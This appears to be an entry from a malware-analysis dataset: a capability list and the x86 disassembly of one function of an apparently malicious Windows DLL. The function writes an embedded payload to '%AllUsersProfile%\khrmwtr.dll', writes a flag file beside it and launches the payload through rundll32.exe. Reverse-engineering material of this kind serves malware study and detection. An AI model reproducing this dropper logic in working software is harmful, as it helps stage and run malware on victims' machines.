Function at 0x10066450
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x410], edx
push eax
lea eax, [ebp - 0x420]
mov esi, ecx
push eax
lea edx, [ebp - 0x418]
lea ecx, [ebp - 0x424]
call fcn.10066250
add esp, 8
test eax, eax
je 0x100666a1
call fcn.100661c0
test eax, eax
je 0x100664ad
mov edi, 0x2400
mov ebx, 0x100dba10
jmp 0x100664b7
mov edi, 0x1e00
mov ebx, 0x100dde10
push 0x200
lea eax, [ebp - 0x208]
push eax
push str._AllUsersProfile_khrmwtr.dll
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x10066749
cmp dword [ebp + 0x18], 0
mov eax, dword [ebp - 0x40c]
je 0x100664eb
or eax, 1
mov dword [ebp - 0x40c], eax
mov ecx, dword [ebp + 8]
test cl, 1
je 0x10066502
cmp dword [ebp + 0xc], 0
je 0x10066502
or eax, 2
mov dword [ebp - 0x40c], eax
test cl, 2
je 0x10066516
cmp dword [ebp + 0x10], 0
je 0x10066516
or eax, 4
mov dword [ebp - 0x40c], eax
test al, 6
je 0x10066749
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10066561
push 0
lea eax, [ebp - 0x414]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x10066567
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x408]
push str.___s__wtr
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x2e
push eax
call fcn.1007b43d
add esp, 8
test eax, eax
je 0x1006659d
xor ecx, ecx
mov word [eax], cx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100665df
push 0
lea eax, [ebp - 0x414]
push eax
push 4
lea eax, [ebp - 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
push 0x44
lea eax, [ebp - 0x480]
xorps xmm0, xmm0
push 0
push eax
movdqu xmmword [ebp - 0x434], xmm0
call fcn.10081610
add esp, 0xc
mov dword [ebp - 0x480], 0x44
xor eax, eax
mov dword [ebp - 0x454], 1
mov word [ebp - 0x450], ax
lea eax, [ebp - 0x208]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [ebp - 0x208]
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10066635
sub edx, ecx
mov ecx, str.System32_rundll32.exe
sar edx, 1
lea edx, [ebp + edx*2 - 0x208]
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x10066652
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x480]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007a730
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
test bl, 1
je 0x100666f4
cmp dword [ebp + 0xc], 0
je 0x100666f4
mov eax, dword [ebp - 0x410]
mov ecx, str.aHNjLnRtcA.tmp
lea edx, [esi + eax*2]
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x100666c2
cmp dword [ebp + 0x1c], 0
je 0x100666e4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100666f4
mov edx, edi
mov ecx, esi
call fcn.10065890
mov ecx, esi
call fcn.10065ed0
test bl, 2
je 0x10066749
cmp dword [ebp + 0x10], 0
je 0x10066749
mov eax, dword [ebp - 0x410]
mov ecx, str.aGhmLnRtcA.tmp
lea edx, [esi + eax*2]
sub edx, ecx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x10066710
cmp dword [ebp + 0x1c], 0
je 0x10066732
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10066749
mov edx, edi
mov ecx, esi
call fcn.10065b40
mov ecx, esi
call fcn.10065ed0
mov ecx, edi
call fcn.10065ff0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007a730
mov esp, ebp
pop ebp
ret